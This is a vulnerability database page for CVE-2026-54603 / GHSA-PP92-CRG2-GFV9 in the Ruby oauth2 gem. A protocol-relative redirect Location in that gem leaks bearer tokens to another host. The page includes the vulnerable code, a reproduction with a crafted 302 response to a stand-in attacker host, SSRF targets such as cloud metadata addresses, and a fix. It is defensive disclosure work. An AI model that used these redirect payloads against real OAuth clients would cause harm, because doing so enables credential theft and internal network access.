Vulnerability-Lookup

GHSA-PP92-CRG2-GFV9

Vulnerability from github – Published: 2026-07-28 16:32 – Updated: 2026-07-28 16:32

Summary

OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host

Details

Summary

When an application uses OAuth2::Client (typically via an OAuth2::AccessToken) and the configured authorization server returns a redirect whose Location header is a protocol-relative URI of the form //attacker.example/leak, OAuth2::Client#request resolves the redirect with response.response.env.url.merge(location). Per RFC 3986 §5.2, an input that starts with // is a network-path reference and replaces the authority of the base URL: URI("http://idp.trusted/userinfo").merge("//attacker.example/leak") returns http://attacker.example/leak. The recursive request(verb, full_location, req_opts) call then re-sends the request to the attacker host while preserving the Authorization: Bearer <access-token> header that OAuth2::AccessToken#configure_authentication! installed on req_opts[:headers] for the original request.

The result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the Location it emits) can extract the bearer access token of the calling user.

Affected

oauth2 v2.0.21 and all prior versions back to and including v0.4.0.
The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73
The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in OAuth2::Client#request since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73
Ruby 4.0.5 on arm64-darwin25. The behaviour of URI#merge for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x).
Adapter independence: confirmed against the default faraday 2.14.2 + faraday-net_http 3.4.3 stack. The URI#merge call is in oauth2 itself, not in Faraday, so the issue is not adapter-specific.

Impact

A consumer that uses OAuth2::AccessToken#get / #post / #request against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:

Cross-origin credential disclosure. The connection-scoped Authorization: Bearer <token> header attached by OAuth2::AccessToken#configure_authentication! is sent to the attacker host on the very next request, with no second user interaction.
SSRF from the application server. The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (//169.254.169.254/..., //127.0.0.1:.../...) that the application server can reach but the attacker cannot.

The combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no Location: http://attacker/... is needed — the protocol-relative //attacker/x form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.

Vulnerable code

lib/oauth2/client.rb#L146-L182 at commit e2d509705db6091c8d5f27c31e29c58e39e51c7c (tag v2.0.20):

def request(verb, url, req_opts = {}, &block)
  response = execute_request(verb, url, req_opts, &block)
  status = response.status

  case status
  when 301, 302, 303, 307
    req_opts[:redirect_count] ||= 0
    req_opts[:redirect_count] += 1
    return response if req_opts[:redirect_count] > options[:max_redirects]

    if status == 303
      verb = :get
      req_opts.delete(:body)
    end
    location = response.headers["location"]
    if location
      full_location = response.response.env.url.merge(location)  # <-- protocol-relative input replaces authority
      request(verb, full_location, req_opts)
    # ...

response.response.env.url is the resolved URL of the prior request (always absolute, since Faraday's build_exclusive_url produces an absolute URI). location is the raw Location response header, with no validation. URI#merge follows RFC 3986 §5.2 and treats //host/path as a network-path reference, dropping the base authority and adopting the input's host. The recursive request(verb, full_location, req_opts) then re-enters with req_opts unchanged, which means any Authorization header that OAuth2::AccessToken#configure_authentication! placed in req_opts[:headers] for the original request travels with the redirected request to the attacker-controlled host.

The credential plumbing is at lib/oauth2/access_token.rb#L376-L408:

def configure_authentication!(opts, verb)
  # ...
  case mode
  when :header
    opts[:headers] ||= {}
    opts[:headers].merge!(headers)
  # ...
end

def headers
  {"Authorization" => options[:header_format] % token}
end

The default token mode is :header, so every AccessToken#get / #post / #request call attaches Authorization: Bearer <token> to req_opts[:headers]. That same dictionary is then forwarded verbatim into the redirected request, because Client#request does not inspect or strip req_opts[:headers] when the redirect crosses origins.

Reachable in production

The vulnerable path is the documented AccessToken#get / AccessToken#post flow that every oauth2 integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to options[:max_redirects] hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative Location header is enough to redirect the next request to an attacker host with the bearer token attached.

Realistic upstream triggers:

Open redirect on the IdP. Many authorization servers expose endpoints that emit Location based on user input (for example logout flows, redirect_uri echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant //attacker.example/leak as the redirect target and induce the oauth2 client to follow it.
Tenant-controlled IdP. Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via OAuth2::Client.new(... , site: tenant_supplied_url) allows a malicious tenant to set site: to its own server and emit the protocol-relative Location directly.
Compromised or downgraded IdP. A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.

In all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.

Reproduction

The issue can be reproduced with a client using the default bearer-token header mode against an oauth2 version before 2.0.22.

Minimal setup:

require "oauth2"

client = OAuth2::Client.new(
  "client-id",
  "client-secret",
  site: "http://idp.example.test"
)

token = OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN")
token.get("/userinfo")

If the configured authorization/resource server responds to that request with a redirect such as:

HTTP/1.1 302 Found
Location: //attacker.example.test/leak
Content-Length: 0

then vulnerable versions resolve the protocol-relative Location as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because OAuth2::AccessToken uses Authorization: Bearer <token> by default, the next request is sent to the attacker-controlled host with the bearer token attached:

GET /leak HTTP/1.1
Host: attacker.example.test
Authorization: Bearer SECRET-BEARER-TOKEN

This requires no special Faraday adapter behavior. The vulnerable redirect handling is in OAuth2::Client#request; the attacker-controlled input is the raw Location header value from a 30x response.

Patched-build verification

Monkey-patch OAuth2::Client#request so that protocol-relative Location values are forced down the relative-path branch of URI#merge by prepending ./. Re-run the attack against the same poc_collector.rb instance.

module OAuth2
  class Client
    def request(verb, url, req_opts = {}, &block)
      response = execute_request(verb, url, req_opts, &block)
      status = response.status
      case status
      when 301, 302, 303, 307
        req_opts[:redirect_count] ||= 0
        req_opts[:redirect_count] += 1
        return response if req_opts[:redirect_count] > options[:max_redirects]
        verb = :get and req_opts.delete(:body) if status == 303
        location = response.headers["location"]
        if location
          # PATCH: neutralise protocol-relative location before URI#merge.
          safe_location = location.start_with?("//") ? "./#{location}" : location
          full_location = response.response.env.url.merge(safe_location)
          request(verb, full_location, req_opts)
        else
          raise(Error.new(response), "Got #{status} status code, but no Location header was present")
        end
      # ... unchanged fallthrough ...
      end
    end
  end
end

After applying the patch, the same token.get("/userinfo") call resolves the attack Location: //127.0.0.1:4568/leak to http://127.0.0.1:4567/127.0.0.1:4568/leak — same host as the IdP — and :4568 never receives the bearer token. The IdP redirect loop trips max_redirects and the helper returns status: 302 to the caller with no off-host request. Collector log after the patched run shows :4568 LEAK count unchanged from the negative control:

[idp:4567] hit  req_line=GET /userinfo HTTP/1.1  auth="Bearer SECRET-BEARER-XYZZY"
[idp:4567] hit  req_line=GET ///127.0.0.1:4568/leak HTTP/1.1  auth="Bearer SECRET-BEARER-XYZZY"
[idp:4567] hit  req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1  auth="Bearer SECRET-BEARER-XYZZY"

All hops stay on 127.0.0.1:4567. The bearer token never leaves the IdP.

Suggested fix

Treat protocol-relative Location values as relative paths when resolving against the prior request URL. The smallest local fix is the ./ prefix used in Faraday::Connection#build_exclusive_url for the same primitive (see lines 485-488 of faraday/lib/faraday/connection.rb):

location = response.headers["location"]
if location
  # Force protocol-relative inputs to be interpreted as relative paths so they
  # cannot override the base authority via RFC 3986 §5.2 network-path reference.
  safe_location = location.respond_to?(:start_with?) && location.start_with?("//") \
    ? "./#{location}" : location
  full_location = response.response.env.url.merge(safe_location)
  request(verb, full_location, req_opts)

A defence-in-depth follow-up is to also strip credential-bearing headers (Authorization, plus any custom headers configured via header_format) from req_opts[:headers] when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in lib/mechanize/http/agent.rb#L1068-L1077. That additional check protects against the orthogonal case where an attacker controls an absolute Location: http://attacker.example/... value on a same-host open-redirect endpoint.

Credit

Reported by tonghuaroot.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.21"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "oauth2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "2.0.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T16:32:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen an application uses `OAuth2::Client` (typically via an `OAuth2::AccessToken`) and the configured authorization server returns a redirect whose `Location` header is a protocol-relative URI of the form `//attacker.example/leak`, `OAuth2::Client#request` resolves the redirect with `response.response.env.url.merge(location)`. Per RFC 3986 \u00a75.2, an input that starts with `//` is a network-path reference and replaces the authority of the base URL: `URI(\"http://idp.trusted/userinfo\").merge(\"//attacker.example/leak\")` returns `http://attacker.example/leak`. The recursive `request(verb, full_location, req_opts)` call then re-sends the request to the attacker host while preserving the `Authorization: Bearer \u003caccess-token\u003e` header that `OAuth2::AccessToken#configure_authentication!` installed on `req_opts[:headers]` for the original request.\n\nThe result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the `Location` it emits) can extract the bearer access token of the calling user.\n\n## Affected\n\n- `oauth2` v2.0.21 and all prior versions back to and including v0.4.0.\n  - The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n  - The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in `OAuth2::Client#request` since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n- Ruby 4.0.5 on `arm64-darwin25`. The behaviour of `URI#merge` for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (\u2265 2.x).\n- Adapter independence: confirmed against the default `faraday` 2.14.2 + `faraday-net_http` 3.4.3 stack. The `URI#merge` call is in `oauth2` itself, not in Faraday, so the issue is not adapter-specific.\n\n## Impact\n\nA consumer that uses `OAuth2::AccessToken#get` / `#post` / `#request` against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:\n\n1. **Cross-origin credential disclosure.** The connection-scoped `Authorization: Bearer \u003ctoken\u003e` header attached by `OAuth2::AccessToken#configure_authentication!` is sent to the attacker host on the very next request, with no second user interaction.\n2. **SSRF from the application server.** The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses \u2014 useful for hitting internal addresses (`//169.254.169.254/...`, `//127.0.0.1:.../...`) that the application server can reach but the attacker cannot.\n\nThe combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no `Location: http://attacker/...` is needed \u2014 the protocol-relative `//attacker/x` form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.\n\n## Vulnerable code\n\n[`lib/oauth2/client.rb#L146-L182`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/client.rb#L146-L182) at commit `e2d509705db6091c8d5f27c31e29c58e39e51c7c` (tag `v2.0.20`):\n\n```ruby\ndef request(verb, url, req_opts = {}, \u0026block)\n  response = execute_request(verb, url, req_opts, \u0026block)\n  status = response.status\n\n  case status\n  when 301, 302, 303, 307\n    req_opts[:redirect_count] ||= 0\n    req_opts[:redirect_count] += 1\n    return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n\n    if status == 303\n      verb = :get\n      req_opts.delete(:body)\n    end\n    location = response.headers[\"location\"]\n    if location\n      full_location = response.response.env.url.merge(location)  # \u003c-- protocol-relative input replaces authority\n      request(verb, full_location, req_opts)\n    # ...\n```\n\n`response.response.env.url` is the resolved URL of the prior request (always absolute, since Faraday\u0027s `build_exclusive_url` produces an absolute URI). `location` is the raw `Location` response header, with no validation. `URI#merge` follows RFC 3986 \u00a75.2 and treats `//host/path` as a network-path reference, dropping the base authority and adopting the input\u0027s host. The recursive `request(verb, full_location, req_opts)` then re-enters with `req_opts` unchanged, which means any `Authorization` header that `OAuth2::AccessToken#configure_authentication!` placed in `req_opts[:headers]` for the original request travels with the redirected request to the attacker-controlled host.\n\nThe credential plumbing is at [`lib/oauth2/access_token.rb#L376-L408`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/access_token.rb#L376-L408):\n\n```ruby\ndef configure_authentication!(opts, verb)\n  # ...\n  case mode\n  when :header\n    opts[:headers] ||= {}\n    opts[:headers].merge!(headers)\n  # ...\nend\n\ndef headers\n  {\"Authorization\" =\u003e options[:header_format] % token}\nend\n```\n\nThe default token mode is `:header`, so every `AccessToken#get` / `#post` / `#request` call attaches `Authorization: Bearer \u003ctoken\u003e` to `req_opts[:headers]`. That same dictionary is then forwarded verbatim into the redirected request, because `Client#request` does not inspect or strip `req_opts[:headers]` when the redirect crosses origins.\n\n## Reachable in production\n\nThe vulnerable path is the documented `AccessToken#get` / `AccessToken#post` flow that every `oauth2` integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to `options[:max_redirects]` hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative `Location` header is enough to redirect the next request to an attacker host with the bearer token attached.\n\nRealistic upstream triggers:\n\n1. **Open redirect on the IdP.** Many authorization servers expose endpoints that emit `Location` based on user input (for example logout flows, `redirect_uri` echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant `//attacker.example/leak` as the redirect target and induce the oauth2 client to follow it.\n2. **Tenant-controlled IdP.** Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via `OAuth2::Client.new(... , site: tenant_supplied_url)` allows a malicious tenant to set `site:` to its own server and emit the protocol-relative `Location` directly.\n3. **Compromised or downgraded IdP.** A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.\n\nIn all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.\n\n## Reproduction\n\nThe issue can be reproduced with a client using the default bearer-token header mode against an `oauth2` version before `2.0.22`.\n\nMinimal setup:\n\n```ruby\nrequire \"oauth2\"\n\nclient = OAuth2::Client.new(\n  \"client-id\",\n  \"client-secret\",\n  site: \"http://idp.example.test\"\n)\n\ntoken = OAuth2::AccessToken.new(client, \"SECRET-BEARER-TOKEN\")\ntoken.get(\"/userinfo\")\n```\n\nIf the configured authorization/resource server responds to that request with a redirect such as:\n\n```http\nHTTP/1.1 302 Found\nLocation: //attacker.example.test/leak\nContent-Length: 0\n```\n\nthen vulnerable versions resolve the protocol-relative `Location` as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because `OAuth2::AccessToken` uses `Authorization: Bearer \u003ctoken\u003e` by default, the next request is sent to the attacker-controlled host with the bearer token attached:\n\n```http\nGET /leak HTTP/1.1\nHost: attacker.example.test\nAuthorization: Bearer SECRET-BEARER-TOKEN\n```\n\nThis requires no special Faraday adapter behavior. The vulnerable redirect handling is in `OAuth2::Client#request`; the attacker-controlled input is the raw `Location` header value from a 30x response.\n\n### Patched-build verification\n\nMonkey-patch `OAuth2::Client#request` so that protocol-relative `Location` values are forced down the relative-path branch of `URI#merge` by prepending `./`. Re-run the attack against the same `poc_collector.rb` instance.\n\n```ruby\nmodule OAuth2\n  class Client\n    def request(verb, url, req_opts = {}, \u0026block)\n      response = execute_request(verb, url, req_opts, \u0026block)\n      status = response.status\n      case status\n      when 301, 302, 303, 307\n        req_opts[:redirect_count] ||= 0\n        req_opts[:redirect_count] += 1\n        return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n        verb = :get and req_opts.delete(:body) if status == 303\n        location = response.headers[\"location\"]\n        if location\n          # PATCH: neutralise protocol-relative location before URI#merge.\n          safe_location = location.start_with?(\"//\") ? \"./#{location}\" : location\n          full_location = response.response.env.url.merge(safe_location)\n          request(verb, full_location, req_opts)\n        else\n          raise(Error.new(response), \"Got #{status} status code, but no Location header was present\")\n        end\n      # ... unchanged fallthrough ...\n      end\n    end\n  end\nend\n```\n\nAfter applying the patch, the same `token.get(\"/userinfo\")` call resolves the attack `Location: //127.0.0.1:4568/leak` to `http://127.0.0.1:4567/127.0.0.1:4568/leak` \u2014 same host as the IdP \u2014 and `:4568` never receives the bearer token. The IdP redirect loop trips `max_redirects` and the helper returns `status: 302` to the caller with no off-host request. Collector log after the patched run shows `:4568` LEAK count unchanged from the negative control:\n\n```text\n[idp:4567] hit  req_line=GET /userinfo HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n```\n\nAll hops stay on `127.0.0.1:4567`. The bearer token never leaves the IdP.\n\n## Suggested fix\n\nTreat protocol-relative `Location` values as relative paths when resolving against the prior request URL. The smallest local fix is the `./` prefix used in `Faraday::Connection#build_exclusive_url` for the same primitive (see lines 485-488 of `faraday/lib/faraday/connection.rb`):\n\n```ruby\nlocation = response.headers[\"location\"]\nif location\n  # Force protocol-relative inputs to be interpreted as relative paths so they\n  # cannot override the base authority via RFC 3986 \u00a75.2 network-path reference.\n  safe_location = location.respond_to?(:start_with?) \u0026\u0026 location.start_with?(\"//\") \\\n    ? \"./#{location}\" : location\n  full_location = response.response.env.url.merge(safe_location)\n  request(verb, full_location, req_opts)\n```\n\nA defence-in-depth follow-up is to also strip credential-bearing headers (`Authorization`, plus any custom headers configured via `header_format`) from `req_opts[:headers]` when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in `lib/mechanize/http/agent.rb#L1068-L1077`. That additional check protects against the orthogonal case where an attacker controls an absolute `Location: http://attacker.example/...` value on a same-host open-redirect endpoint.\n\n## Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-pp92-crg2-gfv9",
  "modified": "2026-07-28T16:32:45Z",
  "published": "2026-07-28T16:32:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby-oauth/oauth2/commit/0f0a474f1b38453e119e660c2daca742d4378ce9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby-oauth/oauth2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host"
}

CVE-2026-54603 (GCVE-0-2026-54603)

Vulnerability from cvelistv5 – Published: 2026-07-28 16:29 – Updated: 2026-07-29 13:52

Title

OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host

Summary

OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). From 0.4.0 to 2.0.21, a protocol-relative redirect Location returned to OAuth2::Client#request overrides the request authority, so the bearer Authorization header is sent to an attacker-controlled host, leaking the credential. This issue is fixed in version 2.0.22.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/ruby-oauth/oauth2/security/adv…	x_refsource_CONFIRM
https://github.com/ruby-oauth/oauth2/commit/0f0a4…	x_refsource_MISC
https://github.com/ruby-oauth/oauth2/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
ruby-oauth	oauth2	Affected: >= 0.4.0, < 2.0.22

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54603",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-29T13:51:29.506941Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-29T13:52:49.325Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "oauth2",
          "vendor": "ruby-oauth",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.4.0, \u003c 2.0.22"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). From 0.4.0 to 2.0.21, a protocol-relative redirect Location returned to OAuth2::Client#request overrides the request authority, so the bearer Authorization header is sent to an attacker-controlled host, leaking the credential. This issue is fixed in version 2.0.22."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-601",
              "description": "CWE-601: URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-28T16:29:03.566Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9"
        },
        {
          "name": "https://github.com/ruby-oauth/oauth2/commit/0f0a474f1b38453e119e660c2daca742d4378ce9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/ruby-oauth/oauth2/commit/0f0a474f1b38453e119e660c2daca742d4378ce9"
        },
        {
          "name": "https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.22",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.22"
        }
      ],
      "source": {
        "advisory": "GHSA-pp92-crg2-gfv9",
        "discovery": "UNKNOWN"
      },
      "title": "OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54603",
    "datePublished": "2026-07-28T16:29:03.566Z",
    "dateReserved": "2026-06-15T19:45:23.540Z",
    "dateUpdated": "2026-07-29T13:52:49.325Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-PP92-CRG2-GFV9

Summary

Affected

Impact

Vulnerable code

Reachable in production

Reproduction

Patched-build verification

Suggested fix

Credit

CVE-2026-54603 (GCVE-0-2026-54603)

Tags

Sightings

Nomenclature